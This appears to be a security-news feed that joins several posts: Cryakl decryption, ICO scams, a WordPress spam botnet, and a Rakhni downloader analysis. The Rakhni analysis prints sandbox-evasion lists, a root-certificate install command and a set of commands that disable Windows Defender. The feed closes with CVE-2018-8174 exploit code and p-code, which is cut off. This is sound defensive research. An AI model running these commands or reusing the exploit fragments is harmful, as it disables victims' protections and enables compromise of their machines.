After that, we found the Cryakl version CL 0.0.0.0 (not to be confused with 0.0.0.0), which had notable changes from previous modifications: besides encrypting parts of the file with a “homebrew” symmetric algorithm, for unknown reasons the Trojan now encrypted other parts with the RSA algorithm. Another marked change was the sending of key data used in the encryption to the attackers’ C&C servers. The structure at the end of the encrypted file was framed with new tags ({ENCRYPTSTART}, {ENCRYPTENDED}), required to determine the encrypted files.

Image from one of the Cryakl CL 0.0.1.0 modifications

In version CL 1.0.0.0, the Trojan stopped sending keys via the Internet. Instead, data required for decryption was now encrypted with RSA and placed in the structure at the end of the file.

Nothing changed fundamentally in the subsequent versions CL 1.1.0.0 – CL 1.2.0.0, only the size of the RSA keys increased. This enhanced the overall level of encryption, but did not change the situation radically.

Image from one of the Cryakl CL 1.2.0.0 modifications

Starting with version CL 1.3.0.0, the Trojan (again for unknown reasons) stopped encrypting file regions with RSA. The algorithm was used only to encrypt keys, while file contents were processed by the slightly modified “homebrew” symmetric algorithm.

Image from one of the Cryakl CL 1.2.0.0 modifications

In all versions of the malware, the cybercriminals left various email addresses for communication purposes. These addresses are contained in the names of encrypted files (for example, email-eugene_danilov@yahoo.com.ver-CL 1.3.1.0.id-….randomname-FFIMEFJCNGATTMVPFKEXCVPICLUDXG.JGZ.lfl) and in the image set by the Trojan as the desktop wallpaper. Victims received reply emails containing a ransom sum in Bitcoin and a cryptocurrency wallet address to make the payment.

On receiving the funds, the cybercriminals sent the victim a decryptor tool and a key file.

The terms of payment varied: for example, the above-mentioned Trojan-Ransom.Win32.Cryakl.bo set a deadline of 48 hours. Moreover, the cybercriminals did not immediately say how much they wanted in return for their “help,” specifying the cost of the decryptor only in their reply emails. It’s not ruled out that the sum depended on the number and quality of encrypted files. For example, in one case of infection, the cybercriminals demanded $1000. Before doing so, according to victims, they connected to the infected computer and deleted all backup copies on it.

Fantomas is slain

The problem with Cryakl was that its newest versions employed asymmetric RSA encryption. The malware body contained public keys used to encrypt user data. Without knowledge of the corresponding private keys, we could not develop a decryption tool. The keys seized and handed over by the Belgian police enabled us to decipher several versions of the ransomware.

Fragment of the private RSA keys

The keys made it possible to reengineer the RakhniDecryptor tool to decrypt files encrypted with the following versions of Cryakl:

Trojan version Cybercriminals’ email
CL 1.0.0.0 cryptolocker@aol.com
iizomer@aol.com
seven_Legion2@aol.com
oduvansh@aol.com
ivanivanov34@aol.com
trojanencoder@aol.com
load180@aol.com
moshiax@aol.com
vpupkin3@aol.com
watnik91@aol.com
CL 1.0.0.0.u cryptolocker@aol.com_graf1
cryptolocker@aol.com_mod
byaki_buki@aol.com_mod2
CL 1.2.0.0 oduvansh@aol.com
cryptolocker@aol.com
CL 1.3.0.0 cryptolocker@aol.com
CL 1.3.1.0 byaki_buki@aol.com
byaki_buki@aol.com_grafdrkula@gmail.com
vpupkin3@aol.com


Securelist - Kaspersky Lab’s cyberthreat research and reports

4/5 ICOs Conducted in 2017 Were Scams, New Report Claims

A new study quantifying the impact of initial coin offerings (ICOs) has concluded that the vast majority of projects conducted in 2017 were scams. ICO Market Statistics An ICO consulting firm by the name of Statis Group examined hundreds of blockchain projects launched throughout 2018, concluding that 81% of said projects are scams. To be […]

The post 4/5 ICOs Conducted in 2017 Were Scams, New Report Claims appeared first on Hacked: Hacking Finance.

Gargoyle: Innovative solution for preventing insider attacks

A group of researchers from UNSW Sydney, Macquarie University, and Purdue University has released a paper on a new and very promising network-based solution for preventing insider attacks. Dubbed Gargoyle, the solution: Evaluates the trustworthiness of an access request context through a set of Network Context Attributes (NCAs) that are extracted from the network traffic Leverages the capabilities of Software-Defined Network (SDN) for both policy enforcement and implementation Takes advantage of the network controller for … More

The post Gargoyle: Innovative solution for preventing insider attacks appeared first on Help Net Security.

A WordPress SPAMbot Wants You to Bet on the 2018 FIFA World Cup

Our researchers recently picked up on a spike in SPAM activity directed at sites powered by WordPress, which, naturally, led them to take a closer look.

Turns out the attack was launched by a botnet and implemented in the form of comment SPAM – meaningless, generic text generated from a template and posted in the comment sections of blogs, news articles etc; linking to pay-per-click commercial or suspicious sites looking to scam you or phish for your passwords.

Sifting through the comments we began to see a pattern – the linked sites offered betting services on 2018 FIFA World Cup matches.

How did they do it?

The SPAMbots mainly targeted WordPress sites using the “Spray and Pray” technique – attempting to post a comment to the same URI across different sites, regardless of whether the site is vulnerable or if it even has a comment section.

The payload used by the SPAMbot is a simple list of parameters whose values vary between each request. The following payload, for example:

Under the right circumstances, the text above can be resolved to produce the following comment:

Of course, this comment didn’t appear on any Imperva protected website, we blocked them all; we found it in an online search.

The comments used by the botnet have been around for more than half a decade, tracing back to 2013 when a gist was published with the comment SPAM template. Searching any part of the non-varying text in the template yields tens of thousands of results, showing how widespread it is.

Our analysis found that the top 10 links advertised by the botnet lead to World Cup betting sites. Interestingly, eight of the top advertised sites contained links to the same betting site, hinting that they might be connected in a way.

We found that the botnet advertised over 1000 unique URLs, most of them appear multiple times. In many cases, the botnet used different techniques such as URL redirection and URL-shortening services to mask the true destination of the advertised link.

SPAMbot activity

We tracked down the botnet consisting of more than 1200 unique IPs, with up to 700 daily unique IPs, and monitored their behavior:

In the weeks before the World Cup, the botnet has emphasized other, non-SPAM attacks, including unsuccessful attempts to invoke Remote Code Execution (RCE) via PHP and to abuse Unrestricted File Upload to WordPress sites.
Once the matches began, the botnets rapidly decreased their violent behavior and increased their comment SPAM activity, peaking at the quarter-finals and semi-finals, possibly indicating that the botnet owner shifted his activity towards, what might be, a more valuable channel at the moment – World Cup betting sites.

A possible explanation is that the botnet is for hire. The malicious activity we’ve seen at first was either paid for or simply the botnet’s attempt to grow itself. Then, it was hired by these betting sites to advertise them and increase their SEO.

Stop SPAM and carry on

Although comment SPAM has been with us for more than a decade — and doesn’t seem like it’s going away anytime soon — there are numerous solutions ranging from dedicated plugins that block comments that look SPAMmy, to WAF services.

Imperva utilizes multiple SPAM protection tools, including:

  • Identification of SPAMming IPs
  • Classification of SPAM tools and botnets
  • Detection of URLs advertised in comment SPAM

Defending against cyber threats requires an in-depth understanding of the cybersecurity landscape coupled with experience dealing with known threats and the dexterity to identify and defend against new ones. So, find a solution that fits your needs and protects your website; make sure not to miss the next World Cup match, and try not to bet on it through a suspicious site you sourced from a blog post comment…

To crypt, or to mine – that is the question

Way back in 2013 our malware analysts spotted the first malicious samples related to the Trojan-Ransom.Win32.Rakhni family. That was the starting point for this long-lived Trojan family, which is still functioning to this day. During that time the malware writers have changed:

  • the way their Trojans get keys (from locally generated to received from the C&C);
  • the algorithms used (from using only a symmetric algorithm, through a commonly used scheme of symmetric + asymmetric, to 18 symmetric algorithms used simultaneously);
  • the crypto-libraries (LockBox, AESLib, DCPcrypt);
  • the distribution method (from spam to remote execution).

Now the criminals have decided to add a new feature to their creation – a mining capability. In this article we describe a downloader that decides how to infect the victim: with a cryptor or with a miner.

Distribution

Geography of attacks

Geography of Trojan-Downloader.Win32.Rakhni

Top five countries attacked by Trojan-Downloader.Win32.Rakhni (ranked by percentage of users attacked):

Country %*
1 Russian Federation 95.57%
2 Kazakhstan 1.36%
3 Ukraine 0.57%
4 Germany 0.49%
5 India 0.41%

* Percentage of unique users attacked in each country by Trojan-Downloader.Win32.Rakhni, relative to all users attacked by this malware

Infection vector

As far as we know, spam campaigns are still the main way of distributing this malware.

Email with malicious attachment

After opening the email attachment, the victim is prompted to save the document and enable editing.

Attached Word document

The victim is expected to double-click on the embedded PDF file. But instead of opening a PDF the victim launches a malicious executable.

UAC window shown before the Trojan starts

Downloader

General information

The downloader is an executable file written in Delphi. To complicate analysis, all strings inside the malware are encrypted with a simple substitution cipher.

After execution, the downloader displays a message box with an error text. The purpose of this message is to explain to the victim why no PDF file opened.

Fake error message

To hide the presence of the malicious software in the system the malware developer made their creation look like the products of Adobe Systems. This is reflected in the icon, the name of the executable file and the fake digital signature that uses the name Adobe Systems Incorporated. In addition, before installing the payload the downloader sends an HTTP request to the address www.adobe.com.

Environment checks

After the message box is closed the malware performs a number of checks on the infected machine:

  • Self path check
    • The name should contain the substring AdobeReader
    • The path should contain one of the following substrings:
      • \TEMP
      • \TMP
      • \STARTUP
      • \CONTENT.IE
    • Registry check

Checks that in the registry there is no value HKCU\Software\Adobe\DAVersion and, if so, the malware creates the value HKCU\Software\Adobe\DAVersion = True and continues its work

  • Running processes check
    • Checks that the count of running processes is greater than 26
    • Checks that none of the processes listed in the table below are present.
alive.exe filewatcherservice.exe ngvmsvc.exe sandboxierpcss.exe
analyzer.exe fortitracer.exe nsverctl.exe sbiectrl.exe
angar2.exe goatcasper.exe ollydbg.exe sbiesvc.exe
apimonitor.exe GoatClientApp.exe peid.exe scanhost.exe
apispy.exe hiew32.exe perl.exe scktool.exe
apispy32.exe hookanaapp.exe petools.exe sdclt.exe
asura.exe hookexplorer.exe pexplorer.exe sftdcc.exe
autorepgui.exe httplog.exe ping.exe shutdownmon.exe
autoruns.exe icesword.exe pr0c3xp.exe sniffhit.exe
autorunsc.exe iclicker-release.exe.exe prince.exe snoop.exe
autoscreenshotter.exe idag.exe procanalyzer.exe spkrmon.exe
avctestsuite.exe idag64.exe processhacker.exe sysanalyzer.exe
avz.exe idaq.exe processmemdump.exe syser.exe
behaviordumper.exe immunitydebugger.exe procexp.exe systemexplorer.exe
bindiff.exe importrec.exe procexp64.exe systemexplorerservice.exe
BTPTrayIcon.exe imul.exe procmon.exe sython.exe
capturebat.exe Infoclient.exe procmon64.exe taskmgr.exe
cdb.exe installrite.exe python.exe taslogin.exe
cff explorer.exe ipfs.exe pythonw.exe tcpdump.exe
clicksharelauncher.exe iprosetmonitor.exe qq.exe tcpview.exe
closepopup.exe iragent.exe qqffo.exe timeout.exe
commview.exe iris.exe qqprotect.exe totalcmd.exe
cports.exe joeboxcontrol.exe qqsg.exe trojdie.kvp
crossfire.exe joeboxserver.exe raptorclient.exe txplatform.exe
dnf.exe lamer.exe regmon.exe virus.exe
dsniff.exe LogHTTP.exe regshot.exe vx.exe
dumpcap.exe lordpe.exe RepMgr64.exe winalysis.exe
emul.exe malmon.exe RepUtils32.exe winapioverride32.exe
ethereal.exe mbarun.exe RepUx.exe windbg.exe
ettercap.exe mdpmon.exe runsample.exe windump.exe
fakehttpserver.exe mmr.exe samp1e.exe winspy.exe
fakeserver.exe mmr.exe sample.exe wireshark.exe
Fiddler.exe multipot.exe sandboxiecrypto.exe xxx.exe
filemon.exe netsniffer.exe sandboxiedcomlaunch.exe ZID Updater File Writer Service.exe
  • Computer name check
    • The name of the computer shouldn’t contain any of the following substrings:
      • -MALTEST
      • AHNLAB
      • WILBERT-
      • FIREEYES-
      • CUCKOO
      • RSWT-
      • FORTINET-
      • GITSTEST
    • Calculates an MD5 digest of the computer name in lower case and compares it with a hundred blacklisted values
  • IP address check

Obtains the external IP address of the machine and compares it with hardcoded values.

  • Virtual machine check
    • Checks that the following registry keys don’t exist:
      • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Oracle VM VirtualBox Guest Additions
      • HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
      • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie
      • HKLM\SYSTEM\ControlSet002\Enum\VMBUS
      • HKLM\HARDWARE\ACPI\DSDT\VBOX
      • HKLM\HARDWARE\ACPI\DSDT\VirtualBox
      • HKLM\HARDWARE\ACPI\DSDT\Parallels Workstation
      • HKLM\HARDWARE\ACPI\DSDT\PRLS
      • HKLM\HARDWARE\ACPI\DSDT\Virtual PC
      • HKLM\HARDWARE\ACPI\SDT\AMIBI
      • HKLM\HARDWARE\ACPI\DSDT\VMware Workstation
      • HKLM\HARDWARE\ACPI\DSDT\PTLTD
      • HKLM\SOFTWARE\SandboxieAutoExec
      • HKLM\SOFTWARE\Classes\Folder\shell\sandbox
    • Checks that the following registry values don’t exist:
      • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers\VBoxOGL\Dll=VBoxOGL.dll
      • HKLM\\SYSTEM\CurrentControlSet\services\Disk\Enum\0=Virtual
      • HKLM\\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName=VirtualBox
    • Checks that none of the processes listed in the table below are present.
prlcc.exe VGAuthService.exe vmsrvc.exe vmware-tray.exe
prltools.exe vmacthlp.exe vmtoolsd.exe vmware-usbarbitrator.exe
SharedIntApp.exe vmicsvc.exe vmusrvc.exe vmware-usbarbitrator64.exe
TPAutoConnect.exe vmnat.exe vmware-authd.exe vmwaretray.exe
TPAutoConnSvc.exe vmnetdhcp.exe vmware-converter-a.exe vmwareuser.exe
VBoxService.exe vmount2.exe vmware-converter.exe xenservice.exe
VBoxTray.exe VMRemoteGuest.exe vmware-hostd.exe

If at least one of the performed checks fails, the downloader ends the process.

Installation of certificates

The downloader installs a root certificate that’s stored in its resources. All downloaded malicious executables are signed with this certificate. We have found fake certificates that claim to have been issued by Microsoft Corporation and Adobe Systems Incorporated.

Fake Microsoft Corporation certificate

Fake Adobe Systems Incorporated certificate

Certificates are installed using the standard utility CertMgr.exe that’s also stored in the downloader’s resources.

Resources contained in the downloader executable file

Before installing the certificate, the downloader drops the necessary files from the resources to the %TEMP% directory.

Fake certificate and CertMgr.exe utility

It then executes the following command:

CertMgr.exe -add -c 179mqn7h0c.cer -s -r localMachine root

The main decision

The decision to download the cryptor or the miner depends on the presence of the folder %AppData%\Bitcoin. If the folder exists, the downloader decides to download the cryptor. If the folder doesn’t exist and the machine has more than two logical processors, the miner will be downloaded. If there’s no folder and just one logical processor, the downloader jumps to its worm component, which is described below in the corresponding part of the article.

Cryptor decision

The Trojan downloads a password-protected archive that contains a cryptor module. The archive will be downloaded to the startup directory (C:\Documents and Settings\username\Start Menu\Programs\Startup) and then the downloader will unpack it using the command line WinRAR tool. The cryptor executable will have the name taskhost.exe.

After execution, the cryptor performs an environment check like the installer; in addition, it will check that it’s running after the downloader decision (by checking the registry value HKCU\Software\Adobe\DAVersion is present).

Interestingly, the cryptor only starts working if the system has been idle for at least two minutes. Before encrypting files, the cryptor terminates the following processes:

1cv7s.exe Foxit Advanced PDF Editor.exe mspaint.exe soffice.exe
1cv8.exe Foxit Phantom.exe mysqld.exe sqlservr.exe
1cv8c.exe Foxit PhantomPDF.exe NitroPDF.exe sqlwriter.exe
7zFM.exe Foxit Reader.exe notepad.exe STDUViewerApp.exe
acad.exe FoxitPhantom.exe OUTLOOK.EXE SumatraPDF.exe
Account.EXE FoxitReader.exe PDFMaster.exe thebat.exe
Acrobat.exe FreePDFReader.exe PDFXCview.exe thebat32.exe
AcroRd32.exe gimp-2.8.exe PDFXEdit.exe thunderbird.exe
architect.exe GSmeta.exe pgctl.exe ThunderbirdPortable.exe
bricscad.exe HamsterPDFReader.exe Photoshop.exe VISIO.EXE
Bridge.exe Illustrator.exe Picasa3.exe WebMoney.exe
CorelDRW.exe InDesign.exe PicasaPhotoViewer.exe WinDjView.exe
CorelPP.exe iview32.exe postgres.exe WinRAR.exe
EXCEL.EXE KeePass.exe POWERPNT.EXE WINWORD.EXE
fbguard.exe Magnat2.exe RdrCEF.exe wlmail.exe
fbserver.exe MSACCESS.EXE SmWiz.exe wordpad.exe
FineExec.exe msimn.exe soffice.bin xnview.exe

In addition, if there is no avp.exe process running, the cryptor removes volume shadow copies.

The cryptor encrypts files with the following extensions:

“.ebd”, “.jbc”, “.pst”, “.ost”, “.tib”, “.tbk”, “.bak”, “.bac”, “.abk”, “.as4”, “.asd”, “.ashbak”, “.backup”, “.bck”, “.bdb”, “.bk1”, “.bkc”, “.bkf”, “.bkp”, “.boe”, “.bpa”, “.bpd”, “.bup”, “.cmb”, “.fbf”, “.fbw”, “.fh”, “.ful”, “.gho”, “.ipd”, “.nb7”, “.nba”, “.nbd”, “.nbf”, “.nbi”, “.nbu”, “.nco”, “.oeb”, “.old”, “.qic”, “.sn1”, “.sn2”, “.sna”, “.spi”, “.stg”, “.uci”, “.win”, “.xbk”, “.iso”, “.htm”, “.html”, “.mht”, “.p7”, “.p7c”, “.pem”, “.sgn”, “.sec”, “.cer”, “.csr”, “.djvu”, “.der”, “.stl”, “.crt”, “.p7b”, “.pfx”, “.fb”, “.fb2”, “.tif”, “.tiff”, “.pdf”, “.doc”, “.docx”, “.docm”, “.rtf”, “.xls”, “.xlsx”, “.xlsm”, “.ppt”, “.pptx”, “.ppsx”, “.txt”, “.cdr”, “.jpe”, “.jpg”, “.jpeg”, “.png”, “.bmp”, “.jiff”, “.jpf”, “.ply”, “.pov”, “.raw”, “.cf”, “.cfn”, “.tbn”, “.xcf”, “.xof”, “.key”, “.eml”, “.tbb”, “.dwf”, “.egg”, “.fc2”, “.fcz”, “.fg”, “.fp3”, “.pab”, “.oab”, “.psd”, “.psb”, “.pcx”, “.dwg”, “.dws”, “.dxe”, “.zip”, “.zipx”, “.7z”, “.rar”, “.rev”, “.afp”, “.bfa”, “.bpk”, “.bsk”, “.enc”, “.rzk”, “.rzx”, “.sef”, “.shy”, “.snk”, “.accdb”, “.ldf”, “.accdc”, “.adp”, “.dbc”, “.dbx”, “.dbf”, “.dbt”, “.dxl”, “.edb”, “.eql”, “.mdb”, “.mxl”, “.mdf”, “.sql”, “.sqlite”, “.sqlite3”, “.sqlitedb”, “.kdb”, “.kdbx”, “.1cd”, “.dt”, “.erf”, “.lgp”, “.md”, “.epf”, “.efb”, “.eis”, “.efn”, “.emd”, “.emr”, “.end”, “.eog”, “.erb”, “.ebn”, “.ebb”, “.prefab”, “.jif”, “.wor”, “.csv”, “.msg”, “.msf”, “.kwm”, “.pwm”, “.ai”, “.eps”, “.abd”, “.repx”, “.oxps”, “.dot”.

After encryption the file extension will be changed to .neitrino.

Files are encrypted using an RSA-1024 encryption algorithm. The information necessary to decrypt the files is sent to the attacker by email.

In each encrypted directory, the cryptor creates a MESSAGE.txt file with the following contents:

Ransom note

Miner decision

The downloading process of the miner is the same except for the downloading folder – the miner is saved to the path %AppData%\KB<8_random_chars>, where <8_random_chars>, as the name suggests, is a string constructed from alphanumeric characters [0-9a-z].

After downloading and unpacking the archive with the miner, the Trojan does the following:

  • Firstly, it generates a VBS script that will be launched after an OS reboot. The script has the name Check_Updates.vbs. This script contains two commands for mining:
    • the first command will start a process to mine the cryptocurrency Monero;
    • the second command will start a process to mine the cryptocurrency Monero Original. The name of the subfolder where the executable should be located (cuda) may indicate that this executable will use the GPU power for mining.

Content of the Check_Updates.vbs file

  • Then, if there is a file named %AppData%\KB<8_random_chars>\svchost.exe, the Trojan executes it to mine the cryptocurrency Dashcoin.

Process for mining the Dashcoin cryptocurrency

When this analysis was carried out, the downloader was receiving an archive with a miner that didn’t use the GPU. The attacker uses the console version of the MinerGate utility for mining.

Checking the utility for mining

In order to disguise the miner as a trusted process, the attacker signs it with a fake Microsoft Corporation certificate and calls svchost.exe.

Disabling of Windows Defender

Regardless of whether the cryptor or the miner was chosen, the downloader checks if one of the following AV processes is launched:

360DocProtect.exe avgui.exe dwservice.exe McUICnt.exe
360webshield.exe avgwdsvc.exe dwwatcher.exe mcupdate.exe
AvastSvc.exe Avira.OE.ServiceHost.exe egui.exe ProtectionUtilSurrogate.exe
AvastUI.exe Avira.OE.Systray.exe ekrn.exe QHActiveDefense.exe
avgcsrva.exe Avira.ServiceHost.exe kav.exe QHSafeTray.exe
avgemca.exe Avira.Systray.exe LUALL.exe QHWatchdog.exe
avgidsagent.exe avp.exe LuComServer.exe Rtvscan.exe
avgnsa.exe ccApp.exe McCSPServiceHost.exe SMC.exe
avgnt.exe ccSvcHst.exe McPvTray.exe SMCgui.exe
avgrsa.exe Dumpuper.exe McSACore.exe spideragent.exe
avgrsx.exe dwengine.exe mcshield.exe SymCorpUI.exe
avguard.exe dwnetfilter.exe McSvHost.exe

If no AV process was found in the system, the Trojan will run several cmd commands that will disable Windows Defender in the system:

  • cmd /C powershell Set-MpPreference -DisableRealtimeMonitoring $true
  • cmd /C powershell Set-MpPreference -MAPSReporting 0
  • cmd /C powershell Set-MpPreference -SubmitSamplesConsent 2
  • taskkill /IM MSASCuiL.exe
  • cmd /C REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCAHealth /t REGDWORD /d 1 /f
  • cmd /C REG ADD HKCU\Software\Policies\Microsoft\Windows\Explorer /v DisableNotificationCenter /t REGDWORD /d 1 /f
  • cmd /C REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f
  • cmd /C REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REGDWORD /d 1 /f
  • cmd /C REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v AllowFastServiceStartup /t REGDWORD /d 0 /f
  • cmd /C REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v ServiceKeepAlive /t REGDWORD /d 0 /f
  • cmd /C REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection /v DisableIOAVProtection /t REGDWORD /d 1 /f
  • cmd /C REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection /v DisableRealtimeMonitoring /t REGDWORD /d 1 /f
  • cmd /C REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet /v DisableBlockAtFirstSeen /t REGDWORD /d 1 /f
  • cmd /C REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet /v LocalSettingOverrideSpynetReporting /t REGDWORD /d 0 /f
  • cmd /C REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet /v SubmitSamplesConsent /t REGDWORD /d 2 /f
  • cmd /C REG ADD HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration /v NotificationSuppress /t REGDWORD /d 1 /f

Sending the statistics

During their operation the downloader and cryptor modules send emails with statistics to a hardcoded address. These messages contain information about the current state of infection and other details such as:

  • computer name;
  • victim IP address;
  • path of malware in the system;
  • current date and time;
  • malware build date.

The downloader sends the following states:

Hello Install Sent after the cryptor or miner is downloaded
Hello NTWRK Sent after the downloader attempts to spread through the victim’s network
Error Sent if something goes wrong and contains the error code value

The cryptor sends the following states:

Locked Shows that the cryptor was launched
Final Shows that the cryptor has ended the encryption process

Another interesting fact is that the downloader also has some spyware functionality – its messages include a list of running processes and an attachment with a screenshot.

Worm component

As one of its last actions the downloader tries to copy itself to all the computers in the local network. To do so, it calls the system command ‘net view /all’ which will return all the shares and then the Trojan creates the list.log file containing the names of computers with shared resources. For each computer listed in the file the Trojan checks if the folder Users is shared and, if so, the malware copies itself to the folder \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup of each accessible user.

Self-deleting

Before shutting down the malware creates a batch file that deletes all ‘temporary’ files created during the infection process. This is a common practice for malware. The thing that interested us was the use of the Goto label ‘malner’. Perhaps this is a portmanteau of the words ‘malware’ and ‘miner’ used by the criminal.

Content of the svchost.bat file

Detection verdicts

Our products detect the malware described here with the following verdicts:

  • Downloader: Trojan-Downloader.Win32.Rakhni.pwc
  • Miner: not-a-virus:RiskTool.Win32.BitCoinMiner.iauu
  • Cryptor: Trojan-Ransom.Win32.Rakhni.wbrf

In addition, all the malware samples are detected by the System Watcher component.

IoCs

Malicious document: 81C0DEDFA5CB858540D3DF459018172A

Downloader: F4EC1E3270D62DD4D542F286797877E3

Miner: BFF4503FF1650D8680F8E217E899C8F4

Cryptor: 96F460D5598269F45BCEAAED81F42E9B

URLs

hxxp://protnex[.]pw

hxxp://biserdio[.]pw

Quantum Principles Eyed to Solve Current Limitations in Encryption, Data Protection

Quantum principles are set to transform the next generation of Internet security, with new quantum-based technologies on tap to improve encryption and data communication which researchers believe could solve some of the limitations with current technology. Security researchers in the United Kingdom are among those leading the move toward quantum...

Read the whole entry... »

Related Stories

Delving deep into VBScript

In late April we found and wrote a description of CVE-2018-8174, a new zero-day vulnerability for Internet Explorer that was picked up by our sandbox. The vulnerability uses a well-known technique from the proof-of-concept exploit CVE-2014-6332 that essentially “corrupts” two memory objects and changes the type of one object to Array (for read/write access to the address space) and the other object to Integer to fetch the address of an arbitrary object.

But whereas CVE-2014-6332 was aimed at integer overflow exploitation for writing to arbitrary memory locations, my interest lay in how this technique was adapted to exploit the use-after-free vulnerability. To answer this question, let’s consider the internal structure of the VBScript interpreter.

Undocumented platform

Debugging a VBScript executable is a tedious task. Before the script is executed, it is compiled into p-code, which is then interpreted by the virtual machine. There is no open source information about the internal structure of this virtual machine and its instructions. It took me a lot of effort to track down a couple of web pages with Microsoft engineer reports dated 1999 and 2004 that shed some light on the p-code. There was enough information there for me to fully reverse-engineer all the VM instructions and write a disassembler! The final scripts for disassembling VBScript p-code in the memory of the IDA Pro and WinDBG debuggers are available in our Github repository.

With an understanding of the interpreted code, we can precisely monitor the execution of the script: we have full information about where the code is being executed at any given moment, and we can observe all objects that are created and referenced by the script. All this greatly assists in the analysis.

The best place to run the disassembling script is the CScriptRuntime::RunNoEH function, which directly interprets the p-code.

Important fields in the CScriptRuntime class

The CScriptRuntime class contains all information about the state of the interpreter: local variables, function arguments, pointers to the top of the stack and the current instruction, plus the address of the compiled script.

The VBScript virtual machine is stack-oriented and consists of slightly more than 100 instructions.

All variables (local arguments and ones on the stack) are represented as a VARIANT structure occupying 16 bytes, where the upper word indicates the data type. Some of the type values are given on the relevant MSDN page.

CVE-2018-8174 exploitation

Below is the code and disassembled p-code of class ‘Class1’:

Class Class1
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value
	SetProp=0
End Function
End Class
Function 34 ('Class1') [max stack = 1]:
        arg count = 0
        lcl count = 0
    Pcode:
        0000    OP_CreateClass       
        0005    OP_FnBindEx      'p' 35 FALSE
        000F    OP_FnBindEx      'SetProp' 36 FALSE
        0019    OP_CreateVar     'mem' FALSE
        001F    OP_LocalSet      0
        0022    OP_FnReturn     
    Function 35 ('p') [max stack = 0]:
        arg count = 0
        lcl count = 0
    Pcode:
        ***BOS(8252,8264)*** End Function *****
        0000    OP_Bos1          0
        0002    OP_FnReturn     
        0003    OP_Bos0         
        0004    OP_FuncEnd    
    Function 36 ('SetProp') [max stack = 1]:
        arg count = 1
            arg  -1 = ref Variant    'value'
        lcl count = 0
    Pcode:
        ***BOS(8292,8301)*** mem=Value *****
        0000    OP_Bos1          0
        0002    OP_LocalAdr      -1
        0005    OP_NamedSt       'mem'
        ***BOS(8304,8315)*** SetProp=(0) *****
        000A    OP_Bos1          1
        000C    OP_IntConst      0
        000E    OP_LocalSt       0
        ***BOS(8317,8329)*** End Function *****
        0011    OP_Bos1          2
        0013    OP_FnReturn     
        0014    OP_Bos0         
        0015    OP_FuncEnd

Function 34 is a constructor of class ‘Class1’.

The OP_CreateClass instruction calls the VBScriptClass::Create function to create a VBScriptClass object.

The OP_FnBindEx and OP_CreateVar instructions try to fetch the variables passed in the arguments, and since they do not yet exist, they are created by the VBScriptClass::CreateVar function.

This diagram shows how variables can be fetched from a VBScriptClass object. The value of the variable is stored in the VVAL structure:

To understand the exploitation, it is important to know how variables are represented in the VBScriptClass structure.

When the OP_NamedSt ‘mem’ instruction is executed in function 36 (‘SetProp’), it calls the Default Property Getter of the instance of the class that was previously stacked and then stores the returned value in the variable ‘mem’.

***BOS(8292,8301)*** mem=Value *****
0000OP_Bos1 0
0002OP_LocalAdr -1 <-------- put argument on stack
0005OP_NamedSt ‘mem’ <-------- if it's a class dispatcher with Default Property Getter, call and store returned value in mem

Below is the code and disassembled p-code of function 30 (p), which is called during execution of the OP_NamedSt instruction:

Class lllIIl
Public Default Property Get P
Dim llII
P=CDbl("174088534690791e-324")
For IIIl=0 To 6
	IIIlI(IIIl)=0
Next
Set llII=New Class2
llII.mem=lIlIIl
For IIIl=0 To 6
	Set IIIlI(IIIl)=llII
Next
End Property
End Class
Function 30 ('p') [max stack = 3]:
        arg count = 0
        lcl count = 1
            lcl   1 =     Variant    'llII'
        tmp count = 4
    Pcode:
        ***BOS(8626,8656)*** P=CDbl("174088534690791e-324") *****
        0000    OP_Bos1          0
        0002    OP_StrConst      '174088534690791e-324'
        0007    OP_CallNmdAdr    'CDbl' 1
        000E    OP_LocalSt       0
        ***BOS(8763,8782)*** For IIIl=(0) To (6) *****
        0011    OP_Bos1          1
        0013    OP_IntConst      0
        0015    OP_IntConst      6
        0017    OP_IntConst      1
        0019    OP_ForInitNamed  'IIIl' 5 4
        0022    OP_JccFalse      0047
        ***BOS(8809,8824)*** IIIlI(IIIl)=(0) *****
        0027    OP_Bos1          2
        0029    OP_IntConst      0
        002B    OP_NamedAdr      'IIIl'
        0030    OP_CallNmdSt     'IIIlI' 1
        ***BOS(8826,8830)*** Next *****
        0037    OP_Bos1          3
        0039    OP_ForNextNamed  'IIIl' 5 4
        0042    OP_JccTrue       0027
        ***BOS(8855,8874)*** Set llII=New Class2 *****
        0047    OP_Bos1          4
        0049    OP_InitClass     'Class2'
        004E    OP_LocalSet      1
        ***BOS(8876,8891)*** llII.mem=lIlIIl *****
        0051    OP_Bos1          5
        0053    OP_NamedAdr      'lIlIIl'
        0058    OP_LocalAdr      1
        005B    OP_MemSt         'mem'
        ….

The first basic block of this function is:

***BOS(8626,8656)*** P=CDbl(“174088534690791e-324”) *****
0000OP_Bos1 0
0002OP_StrConst ‘174088534690791e-324’
0007OP_CallNmdAdr’CDbl’ 1
000EOP_LocalSt 0

This block converts the string ‘174088534690791e-324’ to VARIANT and stores it in the local variable 0, reserved for the return value of the function.

VARIANT obtained after converting ‘174088534690791e-324’ to double

After the return value is set but before it is returned, this function performs:

For IIIl=0 To 6
IIIlI(IIIl)=0
Next

This calls the garbage collector for the ‘Class1’ instance and results in a dangling pointer reference due to the use-after-free vulnerability in Class_Terminate() that we discussed earlier.

In the line

***BOS(8855,8874)*** Set llII=New Class2 *****
